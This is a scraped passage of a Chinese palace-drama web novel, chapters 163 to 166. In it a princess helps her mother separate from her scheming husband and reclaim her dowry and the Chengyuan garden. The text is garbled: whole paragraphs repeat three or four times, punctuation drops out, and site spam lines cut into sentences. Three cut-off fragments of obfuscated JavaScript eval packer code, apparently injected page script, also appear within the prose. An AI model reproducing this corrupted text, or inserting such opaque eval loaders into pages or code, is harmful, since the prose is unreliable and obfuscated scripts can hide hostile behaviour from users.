谢明安咬牙切齿:“废物,你怎么做的事,怎么还留着他?” “是……是小的见他这些年一直安分,小的也没想到……” 谢窈感受到一丝杀意,来自蒋四,针对的则是许管事。 许管事起身,对杜语堂道:“大人,老奴乃京郊澄园的管事,手里有园内账册,十七年前,文昌伯刚娶了我家大小姐,就说要借澄园举办宴席,可事后,却没有将园子归还给她。” “此外,老奴还是大小姐几间铺子的掌柜,但文昌伯在和大小姐成亲两年之内,就说假借大小姐的话,让老奴把店铺交给了他,从此,谢家陆续侵占了大小姐七成的陪嫁!” 一众谢家人,都不再做声。 谢明安更是僵愣在原地,脸色一阵青白。 许氏,还有谢窈这个逆女,竟然找来了他从没有当回事的看园老头,当众说出那些许家陪嫁的往事,让他颜面尽失! 许素素深吸一口气,看着谢明安虚伪的嘴脸,走到杜语堂面前。 “杜大人,这样的日子,我一天也过不下去了!” 她挺直了脊背,声音清晰而决绝:“今日,我许素素,要和谢明安和离!” :“您还记得老奴吗,当年,是老家主让老奴跟着您,为您打理澄园的!” 许素素当然记得许管事。 他是许家的家奴出身,曾是父亲许老爷子的左膀右臂,替她管澄园和几间铺子,但自从谢明安要走澄园,她就再没见过许管事。 早在许素素看见许管事和一个陌生侍女,跟着京兆尹走进来的时候,她就明白了女儿的打算。 阿窈的回门礼,是替她要回澄园! 此刻,听到许管事哽咽的话语,许素素的眼眶也微微一红。 “许管事请起,你年事已高,不必多礼。”她将许管事搀扶起来。 谢明安旁边的蒋四也压低声音,道:“伯爷,此人是看守澄园的许家管事。” 谢明安咬牙切齿:“废物,你怎么做的事,怎么还留着他?” “是……是小的见他这些年一直安分,小的也没想到……” 谢窈感受到一丝杀意,来自蒋四,针对的则是许管事。 许管事起身,对杜语堂道:“大人,老奴乃京郊澄园的管事,手里有园内账册,十七年前,文昌伯刚娶了我家大小姐,就说要借澄园举办宴席,可事后,却没有将园子归还给她。” “此外,老奴还是大小姐几间铺子的掌柜,但文昌伯在和大小姐成亲两年之内,就说假借大小姐的话,让老奴把店铺交给了他,从此,谢家陆续侵占了大小姐七成的陪嫁!” 一众谢家人,都不再做声。 谢明安更是僵愣在原地,脸色一阵青白。 许氏,还有谢窈这个逆女,竟然找来了他从没有当回事的看园老头,当众说出那些许家陪嫁的往事,让他颜面尽失! 许素素深吸一口气,看着谢明安虚伪的嘴脸,走到杜语堂面前。 “杜大人,这样的日子,我一天也过不下去了!” 她挺直了脊背,声音清晰而决绝:“今日,我许素素,要和谢明安和离!” :“您还记得老奴吗,当年,是老家主让老奴跟着您,为您打理澄园的!” 许素素当然记得许管事。 他是许家的家奴出身,曾是父亲许老爷子的左膀右臂,替她管澄园和几间铺子,但自从谢明安要走澄园,她就再没见过许管事。 早在许素素看见许管事和一个陌生侍女,跟着京兆尹走进来的时候,她就明白了女儿的打算。 阿窈的回门礼,是替她要回澄园! 此刻,听到许管事哽咽的话语,许素素的眼眶也微微一红。 “许管事请起,你年事已高,不必多礼。”她将许管事搀扶起来。 谢明安旁边的蒋四也压低声音,道:“伯爷,此人是看守澄园的许家管事。” 谢明安咬牙切齿:“废物,你怎么做的事,怎么还留着他?” “是……是小的见他这些年一直安分,小的也没想到……” 谢窈感受到一丝杀意,来自蒋四,针对的则是许管事。 许管事起身,对杜语堂道:“大人,老奴乃京郊澄园的管事,手里有园内账册,十七年前,文昌伯刚娶了我家大小姐,就说要借澄园举办宴席,可事后,却没有将园子归还给她。” “此外,老奴还是大小姐几间铺子的掌柜,但文昌伯在和大小姐成亲两年之内,就说假借大小姐的话,让老奴把店铺交给了他,从此,谢家陆续侵占了大小姐七成的陪嫁!” 一众谢家人,都不再做声。 谢明安更是僵愣在原地,脸色一阵青白。 许氏,还有谢窈这个逆女,竟然找来了他从没有当回事的看园老头,当众说出那些许家陪嫁的往事,让他颜面尽失! 许素素深吸一口气,看着谢明安虚伪的嘴脸,走到杜语堂面前。 “杜大人,这样的日子,我一天也过不下去了!” 她挺直了脊背,声音清晰而决绝:“今日,我许素素,要和谢明安和离!” 第163章 分府别居,要回母亲陪嫁! 和离? 谢窈站在一旁眼中闪过一丝意外。 这话倒是正中她下怀但她没料到母亲会这么决绝。 她原本是要以谢明安不敬诰命为由让世人看到母亲在许家的处境让谢明安交出侵吞的许家陪嫁。 然后两人分府别居。 谢明安不清楚母亲身上的曼陀散已经解了还做着半年后母亲去世他彻底侵吞所有钱财的美梦。 无论如何他都不愿这时与母亲和离。 现在和离了母亲的陪嫁他也绝不会吐干净。 而到底何时和离谢窈已经有了计划。 因为她知道算算日子另一件大事就要发生了。 一件有关陆慎言的“终身大事”。 但很快谢窈明白了母亲的心思。 母亲是故意用和离逼迫让谢明安退让一步。 毕竟比起和离分府别居或者别的什么就好接受多了。 “和离?!” 谢明安震惊地瞪大双眼:“不本伯绝不和离!” 许氏疯了吗怎敢说要跟自己和离? 他当然不答应! 真和离了岂不是相当于承认自己确实不敬诰命且就是默认孙姨娘的事也和他有关那他得被杖责和削爵! 何况许氏还有一年半载就会死到时候她手里还剩的许家陪嫁以及谢窈的产业 现在和离自己岂不是竹篮打水一场空? 满厅谢家人更是不敢置信地望着许素素。 这还是往日那个唯唯诺诺连下人都敢私下说她是泥塑的伯夫人的女子吗? 谢二爷:“大嫂不能和离啊你一个妇道人家离了伯府如何生活?” 二房夫人也帮腔:“是啊女子和离对名声很不好大嫂你不为自己考虑也得为王妃和宴儿着想宴儿还没娶妻你让他以后如何自处。” 谢宴:“那就不娶呗一个人处。” “……” 谢老夫人更是声音都拔高几分:“许氏你疯了!你一个商贾之女能嫁进伯府当正妻是天大的福气还敢提和离?” 许素素瞥向她眼神中的冷锐寒意让她浑身一颤。 这个商贾之女素来体弱多病怯懦无能任由自己拿捏怎么忽然变得这般张狂? 许素素:“商贾之女又如何?当年江州大旱我许家施千所粥棚是先皇亲封的义商我嫁进谢家这些年你穿的用的哪 听说看这本书的人都是很幸运的,分享后你的运气会更棒 一样不是用我嫁妆买的,嫌我是商贾之女,那当初谢家娶什么! 一旁许长思听到她说起“江州大旱,神色微动。 谢老夫人眼神闪烁:“好啊你,刚成了诰命夫人,就竟敢对老身无礼,还想和离,你只配被我儿休—— “母亲,你别说了! 谢明安呵斥谢老夫人,然后放缓了语气。 “夫人,本伯知道错了,伤了你,用你许多陪嫁,都是本伯的不对,但你我十七年的夫妻情分,还有宴儿和窈儿两个孩子,无论如何,也不能和离。 他眼眶通红,一副悲痛的模样,随即指着还被五花大绑的孙姨娘。 “一切都怪这个**,本伯现在就将她打发回孙家,为你出气,只是她生下孩子之后,孩子得交还伯府。 孙姨娘“噗嗤一笑,话语讥讽刺耳:“伯爷,你真是连吃带拿啊。 “你是觉得我回了孙家,就不会害你儿子了?呵呵,好,可以,我出了这个门,今天就和你儿子一尸两命! 谢明安:“…… 他恼羞成怒,让蒋四堵上孙姨娘的嘴,心中又有了算计,继续道: “是本伯对不住夫人,可和离实在太过,不如这样,既然夫人觉得在伯府过不下去了,那你我分府别居,互不干涉,这样可好? 杜语堂皱着眉,心中已经有了定论。 虽然文昌伯理亏在先,但事情真的闹大,对许素素和王妃也不好。 而且,文昌伯到底是礼部侍郎,王妃的父亲。 非要闹到公堂,许氏是女子,自古以来,女子和离就困难重重,仅因为一个巴掌,文昌伯要是执意自己一时冲动才误伤她,实在难以和离。 分府别居,是最好的解决方式。 谢明安目光郑重而温和,又承诺道:“待你消气了,本伯一定负荆请罪,亲自接夫人回府。 许素素看着他哀求的眼神,仿佛心软了,点了点头:“分府别居,可以。 谢明安听到这六个字,像是卸下千斤重担,瞬间松了口气。 只要不和离,伯府的脸面就还在,反正他早已给许氏下了曼陀散的毒,神不知鬼不觉,就算分府别居,一切也还在他的掌握之中。 “夫人,你早这么想就好了,夫妻哪有隔夜仇?分府后你住得舒心,本伯也会时刻自省,咱们—— “别急着舒心。 许素素打断他的话,声音清晰而决绝:“分府可以,但你得把占我的陪嫁还回来,包括田庄铺子的 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 房契地契,账簿,还有现银,桩桩件件,我都有所记录,一两也不能少! 谢明安呆了呆,脸色肉眼可见地沉了下来。 但他不敢像之前那样嘶吼,只能压低声音辩解:“夫人不要乱说,那些银钱,本伯早就用得差不多了——伯府多年的开销,下人的月钱,还有众人的吃穿用度,哪样不要钱? 谢窈往前站了一步,挡在母亲身前。 “伯爷说花光了,倒是说说,花在什么地方了? 她弯了弯眸子,幽幽反问:“当年许家的陪嫁,仅现银就有五千两,更别说田庄商铺还有进项,谢家人丁不算兴旺,十几口人,百来个奴仆,伯爷是怎么花,才花完的呢? 谢窈意有所指:“莫不是文昌伯拿去上下打点,**官员?看来,此事应该交给御鹰司查一查了。 “你胡说!谢明安声音陡然拔高,却又很快压低。 他骤然想起谢窈大婚那晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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杜语堂听完长思的话,心中也是咂舌。 萧熠之看了他一眼:“表兄不信?” 这声堂兄,让杜语堂浑身一激灵。 他最怕靖北王喊自己表兄。 王爷年少时,乃京中的混世小魔王,狂揍别人几条街。 若有人来管,他不败坏萧家名声,就说他是杜语堂的表弟,让人去找自己…… 杜语堂回过神,语气带着不容置疑的威严: “文昌伯,燕国有律法,妻子陪嫁是属于她的私产,丈夫不得侵占,更不得擅自挪用,既然要分府别居,且伯夫人主动要求,那你理应还回陪嫁。” 谢明安看着杜语堂的脸色,死死地攥紧拳头,牙齿咬得咯咯响,最后只能不甘心地点头。 “行!我还!能还的我都还,但有的铺子已经转租,田庄换了佃户,府中现银也确实没了,一时半会儿,难以交接,还得夫人宽裕我一些时日。” 他只能还回一些陪嫁。 否则,他就要跟京兆尹解释,那些银两自己究竟花在了什么地方。 但幸好他这些年,早将一些铺子变卖,还有银两银票也被他过明路用掉了。 只是,谢明安还是心如刀绞,比失去个儿子都难受。 谢窈继续道:“分府别居之后,母亲要住澄园。” 第164章 要回澄园,王爷炫妻遇对手 澄园! 从谢窈口中听到这个名字,一众谢家人才想起来,澄园乃许氏最丰厚的陪嫁,是当初五王之乱之首的睿亲王,还未封王时的私园。 他们多年前也曾去过,占地百亩,依山傍水,富丽堂皇,堪称京城最大的私园。 要不是维持此园太耗费银钱,谢家又不是高官显赫之家,怕树大招风,他们早就举族搬进去住了。 “澄园?不行!”谢明安差点跳起来。 意识到自己反应太大,他又强行挤出讪笑。 “本伯是说,那园子早就荒废多年,里面的花木**大半,亭台楼阁肯定也年久失修,再说,澄园太大,住进谢家全族都绰绰有余,夫人一个人如何住得了?” “若要分府别居,伯府在茯苓街有一处五进五出的大宅,足够夫人住了。” “伯爷怕是忘了,老奴正是澄园的管事。” 许管事佝偻的身子努力挺直:“这些年,老奴一直打理着澄园,花木也会修剪,屋舍更是年年修缮,园子只是冷清了些,怎会荒废。” 谢明安还想再说,谢窈道:“澄园是我母亲的,别说她一个人住,就是她将园子拆了再建,雇千百奴仆,也与你无关。伯爷如若不愿,那咱们,就继续聊不敬诰命的事吧。” 杜语堂:“文昌伯,只是一个园子,你莫不是不舍得?” 谢明安眼神愈发深沉。 可即便再不甘,他也没有拒绝的理由,只能咬着牙点头:“好,不就是澄园吗,本伯给夫人便是。” “既如此,伯爷可以去取地契了,本官在此恭候,也算做个见证。” 杜语堂说完,又看向谢宴:“小伯爷,你在本官面前斩杀奴仆,不敬律法,当杖责五十。” 谢宴一脸的无谓。 别说是杖责五十,就算要自己的命,只要对姐姐有用,也可以。 “姐姐,以后母亲搬去澄园,我呢?我能一起去吗?”他问道。 谢明安大怒:“逆子,你乃本伯嫡子,你的家是谢家!怎么能和分府别居的许氏去住,你是想让全京城都知道本伯与夫人不和吗?” 谢宴耸肩:“难不成我不去,全京城就不知道父亲母亲不和了?” 许素素看了看女儿,说道:“澄园很大,你若想来小住,自然可以。” 谢宴满意了。 这时,萧熠之开口道:“那奴婢背主求荣,本王也想杀,谢宴替本王杀了想杀的人,此为一功,事出有因,此为二功,功过相抵,不必惩罚。” 杜语堂:“……” 萧熠之:“表兄,本王说的有什么问题吗?” 杜语堂嘴角抽了抽,选择无能狂怒,看向被捆绑的孙氏父女。 “孙姨娘乃伯爷妾室,就交给伯府自行处置,且文昌伯府内宅不宁,还望伯爷整治家宅,莫要再出现这样的事。” “至于孙药令,身为尚药局御医,私自在宫外下毒,协助女儿作伪,将其带走关入大牢,此事,本官会上奏陛下,由陛下定夺。” 谢明安叫蒋四拖走孙姨娘,随即去书斋找澄园的地契。 临走前,他跟谢家其他人使眼色,示意他们跟上。 谢家不是他一个人的谢家,伯府一荣俱荣,一损俱损,让他一口气交出那么多许家陪嫁,他必然要让老夫人和二房也跟着出一出血。 厅内清净下来,谢窈对杜语堂拱手:“今日之事,多谢杜大人。” “王妃客气了,这都是本官职责所在。”杜语堂连忙摆手,人已经走到门口。 他随时准备等文昌伯交出地契文书,溜之大吉,也与靖北王避嫌。 靖北王虽然是他表弟,但总爱做些出格之事,杜家一直都和萧家关系疏离。 当年,王爷才十三岁,就敢领着护卫,把江老丞相的儿子揍得鼻青脸肿,他不说自己是萧家人,却说是自己的表弟。 大家又不是不认识萧熠之,都知道他是靖北侯世子,他非要扯自己下水,于是,连累他们杜家也得罪了江家。 后来,萧熠之又陆续得罪了赵钱孙李周吴郑王冯陈褚卫蒋沈韩杨等家。 那时杜语堂才入仕,满怀雄心壮志,挥斥方遒,打算在官场上大展宏图。 然后他整整三年没升迁。 不过,现在的杜语堂,宦海沉浮多年,已经懂了萧熠之的深意。 老靖北侯是先帝的结拜兄弟,手握重兵,权倾朝野。 他们杜家也好,秦家也好,都是萧家的姻亲。 萧家,最好是举世皆敌。 萧熠之,则要做个孤臣。 脑子理解了,不代表他多年习惯能改,他想了想,还是想溜走避嫌。 “本官一身污血,司法参军留下,本官先回府衙——” “表兄,急什么。” 萧熠之的声音响起,很是清幽。 杜语堂停在原地:“啊?” 王爷坐在轮椅上,威严端正,眼神却不看他,而是垂眸瞥自己腰间仙鹤**的香囊。 “咳咳。” 王爷忽然咳嗽 了两声。 杜语堂还是不解。 “表兄平时总是戴表嫂绣的荷包,今日怎么腰间戴着玉佩?” 王爷语气平淡地问,很不经意地又挺了挺胸膛。 杜语堂这才反应过来,话忽然变多了:“往日戴的那个,被青禾拿去浆洗了,哎呀,我舍不得让我家青禾绣,绣荷包多费眼睛呢,青禾绣一个,我能戴三年,哪舍得让她再费神。” 谢窈若有所思。 旁边白术则面露沉色,心想王爷是想让杜大人发现王妃绣的香囊,杜大人怎么长得很聪明,结果在王爷面前,反秀起他和他妻子的事儿了。 王爷也是遇见了对手。 提起自己妻子青禾,杜大人就上头了,激动了。 他脑子一抽,在王爷面前抬起脚。 差一点,白蔹就要应激拔刀。 “表弟你看这个鞋底,我家青禾怕我走路磨脚,特意找工匠定做的,还在里面缝了短绒,穿着特别舒服——” 杜语堂指着脚下官靴,提起自己的妻子,脸上出奇的温柔,语气得意又骄傲。 说到一半,见小白侍卫朝自己挤眉弄眼,杜语堂忽然反应过来,捂住嘴。 这不只是他弟,这还是王爷,而且王爷没法走路。 他疯了吗,居然在王爷面前犯忌讳,还炫耀青禾给他做的鞋子。 虽然这个鞋子的确很舒服。 就在杜语堂胆战心惊,生怕萧熠之多想的时候,谢窈自然地问:“表兄,这鞋子真有这么好穿?还望表兄回头问问嫂子,短绒是什么皮**,回头,我让人也给王爷做一双。” 杜语堂连连点头:“好说,好说。” 听到王妃称呼他的亲人为表兄表嫂,萧熠之的唇角,不禁扬起一抹弧度。 至于杜语堂提起所谓的忌讳,他并不在意。 白蔹揉了揉眼睛,看向他哥,用眼神询问: 他没看错吧,王爷听见别人在他面前说走路啊鞋啊,不但没生气,还笑了? 了两声。 杜语堂还是不解。 “表兄平时总是戴表嫂绣的荷包,今日怎么腰间戴着玉佩?” 王爷语气平淡地问,很不经意地又挺了挺胸膛。 杜语堂这才反应过来,话忽然变多了:“往日戴的那个,被青禾拿去浆洗了,哎呀,我舍不得让我家青禾绣,绣荷包多费眼睛呢,青禾绣一个,我能戴三年,哪舍得让她再费神。” 谢窈若有所思。 旁边白术则面露沉色,心想王爷是想让杜大人发现王妃绣的香囊,杜大人怎么长得很聪明,结果在王爷面前,反秀起他和他妻子的事儿了。 王爷也是遇见了对手。 提起自己妻子青禾,杜大人就上头了,激动了。 他脑子一抽,在王爷面前抬起脚。 差一点,白蔹就要应激拔刀。 “表弟你看这个鞋底,我家青禾怕我走路磨脚,特意找工匠定做的,还在里面缝了短绒,穿着特别舒服——” 杜语堂指着脚下官靴,提起自己的妻子,脸上出奇的温柔,语气得意又骄傲。 说到一半,见小白侍卫朝自己挤眉弄眼,杜语堂忽然反应过来,捂住嘴。 这不只是他弟,这还是王爷,而且王爷没法走路。 他疯了吗,居然在王爷面前犯忌讳,还炫耀青禾给他做的鞋子。 虽然这个鞋子的确很舒服。 就在杜语堂胆战心惊,生怕萧熠之多想的时候,谢窈自然地问:“表兄,这鞋子真有这么好穿?还望表兄回头问问嫂子,短绒是什么皮**,回头,我让人也给王爷做一双。” 杜语堂连连点头:“好说,好说。” 听到王妃称呼他的亲人为表兄表嫂,萧熠之的唇角,不禁扬起一抹弧度。 至于杜语堂提起所谓的忌讳,他并不在意。 白蔹揉了揉眼睛,看向他哥,用眼神询问: 他没看错吧,王爷听见别人在他面前说走路啊鞋啊,不但没生气,还笑了? 了两声。 杜语堂还是不解。 “表兄平时总是戴表嫂绣的荷包,今日怎么腰间戴着玉佩?” 王爷语气平淡地问,很不经意地又挺了挺胸膛。 杜语堂这才反应过来,话忽然变多了:“往日戴的那个,被青禾拿去浆洗了,哎呀,我舍不得让我家青禾绣,绣荷包多费眼睛呢,青禾绣一个,我能戴三年,哪舍得让她再费神。” 谢窈若有所思。 旁边白术则面露沉色,心想王爷是想让杜大人发现王妃绣的香囊,杜大人怎么长得很聪明,结果在王爷面前,反秀起他和他妻子的事儿了。 王爷也是遇见了对手。 提起自己妻子青禾,杜大人就上头了,激动了。 他脑子一抽,在王爷面前抬起脚。 差一点,白蔹就要应激拔刀。 “表弟你看这个鞋底,我家青禾怕我走路磨脚,特意找工匠定做的,还在里面缝了短绒,穿着特别舒服——” 杜语堂指着脚下官靴,提起自己的妻子,脸上出奇的温柔,语气得意又骄傲。 说到一半,见小白侍卫朝自己挤眉弄眼,杜语堂忽然反应过来,捂住嘴。 这不只是他弟,这还是王爷,而且王爷没法走路。 他疯了吗,居然在王爷面前犯忌讳,还炫耀青禾给他做的鞋子。 虽然这个鞋子的确很舒服。 就在杜语堂胆战心惊,生怕萧熠之多想的时候,谢窈自然地问:“表兄,这鞋子真有这么好穿?还望表兄回头问问嫂子,短绒是什么皮**,回头,我让人也给王爷做一双。” 杜语堂连连点头:“好说,好说。” 听到王妃称呼他的亲人为表兄表嫂,萧熠之的唇角,不禁扬起一抹弧度。 至于杜语堂提起所谓的忌讳,他并不在意。 白蔹揉了揉眼睛,看向他哥,用眼神询问: 他没看错吧,王爷听见别人在他面前说走路啊鞋啊,不但没生气,还笑了? 了两声。 杜语堂还是不解。 “表兄平时总是戴表嫂绣的荷包,今日怎么腰间戴着玉佩?” 王爷语气平淡地问,很不经意地又挺了挺胸膛。 杜语堂这才反应过来,话忽然变多了:“往日戴的那个,被青禾拿去浆洗了,哎呀,我舍不得让我家青禾绣,绣荷包多费眼睛呢,青禾绣一个,我能戴三年,哪舍得让她再费神。” 谢窈若有所思。 旁边白术则面露沉色,心想王爷是想让杜大人发现王妃绣的香囊,杜大人怎么长得很聪明,结果在王爷面前,反秀起他和他妻子的事儿了。 王爷也是遇见了对手。 提起自己妻子青禾,杜大人就上头了,激动了。 他脑子一抽,在王爷面前抬起脚。 差一点,白蔹就要应激拔刀。 “表弟你看这个鞋底,我家青禾怕我走路磨脚,特意找工匠定做的,还在里面缝了短绒,穿着特别舒服——” 杜语堂指着脚下官靴,提起自己的妻子,脸上出奇的温柔,语气得意又骄傲。 说到一半,见小白侍卫朝自己挤眉弄眼,杜语堂忽然反应过来,捂住嘴。 这不只是他弟,这还是王爷,而且王爷没法走路。 他疯了吗,居然在王爷面前犯忌讳,还炫耀青禾给他做的鞋子。 虽然这个鞋子的确很舒服。 就在杜语堂胆战心惊,生怕萧熠之多想的时候,谢窈自然地问:“表兄,这鞋子真有这么好穿?还望表兄回头问问嫂子,短绒是什么皮**,回头,我让人也给王爷做一双。” 杜语堂连连点头:“好说,好说。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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杜语堂这才反应过来,话忽然变多了:“往日戴的那个,被青禾拿去浆洗了,哎呀,我舍不得让我家青禾绣,绣荷包多费眼睛呢,青禾绣一个,我能戴三年,哪舍得让她再费神。” 谢窈若有所思。 旁边白术则面露沉色,心想王爷是想让杜大人发现王妃绣的香囊,杜大人怎么长得很聪明,结果在王爷面前,反秀起他和他妻子的事儿了。 王爷也是遇见了对手。 提起自己妻子青禾,杜大人就上头了,激动了。 他脑子一抽,在王爷面前抬起脚。 差一点,白蔹就要应激拔刀。 “表弟你看这个鞋底,我家青禾怕我走路磨脚,特意找工匠定做的,还在里面缝了短绒,穿着特别舒服——” 杜语堂指着脚下官靴,提起自己的妻子,脸上出奇的温柔,语气得意又骄傲。 说到一半,见小白侍卫朝自己挤眉弄眼,杜语堂忽然反应过来,捂住嘴。 这不只是他弟,这还是王爷,而且王爷没法走路。 他疯了吗,居然在王爷面前犯忌讳,还炫耀青禾给他做的鞋子。 虽然这个鞋子的确很舒服。 就在杜语堂胆战心惊,生怕萧熠之多想的时候,谢窈自然地问:“表兄,这鞋子真有这么好穿?还望表兄回头问问嫂子,短绒是什么皮**,回头,我让人也给王爷做一双。” 杜语堂连连点头:“好说,好说。” 听到王妃称呼他的亲人为表兄表嫂,萧熠之的唇角,不禁扬起一抹弧度。 至于杜语堂提起所谓的忌讳,他并不在意。 白蔹揉了揉眼睛,看向他哥,用眼神询问: 他没看错吧,王爷听见别人在他面前说走路啊鞋啊,不但没生气,还笑了? 第165章 王爷让人沉溺,拿来吧你 谢窈是真想跟杜大人探讨一下关于他夫人给他做的鞋如何的。 只因他谈起自己夫人整个人就变得眉飞色舞目光如炬让人不由自主地信服。 至于谈论这个与王爷的腿疾之间的关联她心道王爷是双腿残疾又不是双脚残疾。 好马配好鞍好腿配好裤子既然王爷已经不良于行不更得穿一双舒心的鞋吗。 但杜语堂顾及表弟还是跳过了这个话题:“对了昨日我家青禾还做了桃花酥酥脆香甜味道极好。” 谢窈再次眼前一亮。 眼看着王妃又要跟杜大人询问桃花酥做法白术终于还是看不下去了面无表情地说:“杜大人没有戴荷包王爷却戴了香囊好巧。” 他弟还在那惊叹王爷又笑了呢跟个傻子似的这个王府没有他可怎么办。 杜语堂这才看见萧熠之腰间的香囊。 “天啊这香囊绣得真是巧夺天工比我家青禾也丝毫不差如此一个香囊定然很费功夫一定是王妃给王爷绣的吧?” 杜大人反应过来。 虽然语气过于浮夸没有炫耀自己夫人时候自然但白术注意到王爷眼中还是闪过笑意唇角更是快速地上扬了一下。 “正是。” 王爷语气淡然只说了两个字声音透着微微的沙哑。 谢窈听到这两个字耳根有点热。 “王爷王妃伯夫人我先走了司法参军留下务必让文昌伯交出澄园的地契等物”杜语堂终于如愿溜走“回头我便让人将桃花酥送去王府。” 他离开后谢窈定了定神吩咐起来。 “桑若你去询问晚香院的下人愿意跟诰命夫人去澄园的规矩照旧月钱翻倍只是澄园地方大人手少她们一开始会比在谢家辛苦将事情说清楚若不愿也不必强求。” “奴婢这就去问。” “长思园中别的不说当务之急 “是。” 听到这话白蔹都快跳起来了就差说“问我问我啊我最知道护院的人脉”。 但王妃只是瞥了他一眼没问。 谢窈又看向许管事回想起之前那一幕。 “许管事以后你还是澄园的管事不过刚才我见文昌伯身边的护院似乎与你认识?”她询问。 许管事恭敬地回答:“王妃慧眼那位蒋护院从前的确和 听说看这本书的人都是很幸运的,分享后你的运气会更棒 老奴见过几面,就是他替文昌伯传话,让老奴交出了手中铺子。” 谢窈:“只是如此?许管事再多想想。” 许管事想了起来:“五六年前,澄园一处偏屋漏雨,老奴实在没钱修缮,就去求见老家主,幸得老家主垂怜,给了老奴一些银两。” “那时,老奴遇见蒋护院替文昌伯给老家主送礼,蒋护院还威胁老奴,让老奴在老家主面前,不要乱说大小姐在伯府的事。” “外祖父常年在江州老家,你在何处见的他?” “是京郊的许家别院,老家主每年都回京,会在那里小住一两个月。” 谢窈点了点头。 外祖父为了给自己送嫁妆,千里迢迢从江州赶来,正住在许家别院。 母亲的毒解了,但外祖父前世,也是在半年后,跟母亲前后去世的。 这件事,她有了猜测。 “蒲苇,还有小白侍卫——” 谢窈刚要找白蔹,就见白蔹已经带着王爷的亲卫,站在门口了。 他真是迫不及待地等着谢窈吩咐。 “王妃有何吩咐!” 一队高大魁梧的壮汉,猛地举起兵器,齐刷刷拍动胸前甲胄,发出铿锵之声。 白蔹:“王妃,咱们可以抄家了吧。” 谢窈:“……劳烦小白侍卫,跟母亲和桑若一起去晚香院,将库房里今日的回门礼,还有母亲其他东西都装去澄园。” 白蔹激动地点头,这种感觉,让他回想起五年前给睿亲王抄家的时候,真是久违,他最喜欢了。 谢窈补充了一句:“晚香院的一草一木,能带走的,都带走,库房里,一根针都不要给谢家留。” “属下明白!” 白蔹一挥手,摩拳擦掌,冲去晚香院。 许素素由谢窈发号施令,脸上带着笑容,用温柔如水的眼神望着女儿。 谢窈越发干劲满满。 许素素宴上和女婿喝得有些多,意识到自己酒劲上来了,就跟忍冬一起回去晚香院收拾。 萧熠之凝视意气风发的王妃,唇角也始终噙着若有若无的笑意。 在谢窈感知里,王爷的眼神,和母亲如出一辙。 谢窈本来正思忖之后的事,但王爷的目光过于炙热,她便看向他:“王爷醉——” 她没问出口,因为萧熠之苍白俊美的脸,此刻透着淡淡的绯色,原本淡漠的桃花眸,眼底泛起沸腾的涟漪,正背靠轮椅,深深地看着自己。 王爷的确是醉了,他微仰起头 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 ,重叠交织的衣领有些许松散,露出泛起绯红的冷白脖颈,喉结上下滚动。 像是在勾引谁。 谢窈是没喝酒的,脸颊却变得有些烫。 她刻意避开王爷的注视:“蒲苇,你去跟桑若说,澄园许久没人住,得收拾出母亲住的地方,让她带人现在就过去。” 白术道:“王爷有令,带许管事来的王府亲卫,昨日,已经将澄园简单收拾出来。” 谢窈一怔,只好又看向王爷:“多谢王爷。” 萧熠之实在细心妥帖,让她不得不感谢。 王爷仍旧目不转睛盯她,勾起唇,问道:“王妃打算怎么谢?” 醉酒后的萧熠之,这一刻格外蛊惑,薄唇红润,诱得谢窈侧过头不去看,又忍不住偷看了一眼。 王爷真好看。 萧熠之对自己很好,好得让她沉溺。 谢窈意识到自己的沉溺,立即回过神,凤眸闪了闪,没有回答王爷的问题。 “蒲苇,你去文昌伯书斋,让他立即将地契交出来,否则你就一刀——” 她话语顿住,反应过来自己在说什么胡话,让蒲苇一个人去谢明安的书斋,一刀**谢明安? 她一拍脑门,叫上司法参军:“我和郑参军跟你一起去。” 谢窈带人离开,萧熠之还坐在轮椅上,注视着她的背影。 随即,他问旁边白术:“本王好看吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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谢明安积压的怒火彻底爆发,抬手将书案上的东西扫到地上:“废物,都是废物,滚!” 二房夫妻俩找了个理由,匆匆离开,生怕再被缠上。 谢明安双目通红,道:“母亲,都是儿子没用,不能厚养母亲。” 谢老夫人心软了:“我的儿,我还有一些体己,等会儿就让人送来给你。” 谢明安的脸色缓和几分。 谢老夫人又说:“可是儿啊,若是把许氏那些铺子庄子交出去,让她带走了,咱们谢家以后可怎么办啊。” 谢明安安抚:“许老爷子回京了,劳烦母亲休书一封,姿态放低些,本伯过些日子亲自去拜访他之后,再去澄园将许氏请回,如今,就当她是回娘家罢了。” 谢老夫人:“老身看,许氏今天和从前大不一样,她能乖乖回来吗。” 谢明安胸有成竹:“本伯去求,她定然还会回来。” 谢老夫人离开后,他才走到书架旁,打开密室的门,从中取出澄园的地契,还有几处能拿出的店铺庄子契书等物。 摸着那地契,谢明安心里像被剜了一块肉。 这样好的园子,早年光是租金就有几千两,他怎么甘心给出去。 但他只能咬着牙自我安慰,最多一年,最快半年,许素素**,他就把失去的都收回来。 谢明安走出书斋,就见谢窈带着司法参军和几个官差站在外面。 他还想说几句狠话。 “拿来吧你。” 谢窈上前,一把将他手里的东西夺走。 第166章 护院道歉,不给渣爹留一针一线 谢明安攥得很紧,但谢窈力气更大,直接把他扯得一个趔趄。 厚厚一沓房产地契,澄园的地契上,还写着母亲的名字。 确认无误之后,谢窈转身就走。 谢明安却万般不甘,给蒋四使个眼色。 “王妃是要将晚香院的丫鬟下人都带走吗?不如把蒲苇姑娘留下来,小的可以照顾好她。”蒋四眼珠子转了转,盯着蒲苇,邪笑道。 他心想,蒲苇之前抓住了自己安插在晚香院的眼线丫鬟,这女人是王妃心腹,他故意这么说,王妃肯定会觉得她不安分。 蒲苇眼中闪过厌恶,没有说话。 谢窈眼眸凌厉,轻车熟路地夺过司法参军的剑。 司法参军今天一直没用剑,但他的剑一直没歇过。 王妃剑如疾风,轻抬胳膊,就削去蒋四的幞头和一大团头发! “啊——” 蒋四被谢窈的杀气锁定,被吓得大叫,以为谢窈要杀了自己,竟然动都不敢动。 发现只是被削去头发后,他劫后余生地喘息。 